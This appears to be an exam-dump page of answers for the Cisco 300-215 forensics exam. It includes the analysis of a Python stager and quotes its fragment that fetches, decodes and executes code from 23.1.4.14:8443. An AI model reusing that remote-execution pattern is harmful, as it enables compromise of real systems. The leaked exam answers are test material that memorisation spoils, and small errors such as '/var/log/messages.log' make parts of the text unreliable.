300-215 Exam Dumps - Conducting Forensic Analysis and Incident Response Using Cisco CyberOps Technologies (CBRFIR)

The correct registry path to investigate user profiles and login details is:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList

This location stores information about each user profile on the machine, including login activity and the LastWrite time for forensic tracking.

The most relevant log for system-level events such as memory exhaustion and shutdown is/var/log/messages.log, which contains kernel and service-level logs including OOM (Out-Of-Memory) events.

As detailed in Linux investigations:

"Logs located in/var/log/messagesprovide critical system error reporting including shutdowns, memory errors, and service failures".

This Python script uses a combination of libraries (urllib,zlib,base64, andssl) to:

Disable SSL certificate verification (ssl.CERT_NONEandcheck_hostname=False).

Construct a custom HTTPS opener with the specified SSL context.

Add a forgedUser-Agentheader to mimic Internet Explorer 11.

Connect to the URLhttps://23.1.4.14:8443 .

Download and execute base64-encoded and zlib-compressed content from that URL using:

exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

Downloading payloads from a remote server (23.1.4.14:8443).

Avoiding detection by disabling SSL verification.

Executing the payload dynamically withexec()after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

The STIX data structure shows apatternfield with this entry:

file:hashes.'SHA-256' = '3299f07bc0711b3587fe8a1c6bf3ee6cbcc14cb775f64b28a61d72ebcb8968d3'

This value is aSHA-256 file hash, a well-knownindicator of compromise (IoC)for identifying malicious files.

Therefore, the correct answer is:

A. SHA256 file hash.

Fileless malware resides in memory and does not leave traditional file artifacts, making it difficult for antivirus solutions to detect. The most effective next step is to isolate the endpoints to prevent lateral movement and perform memory forensics to capture volatile data and identify any running malicious processes.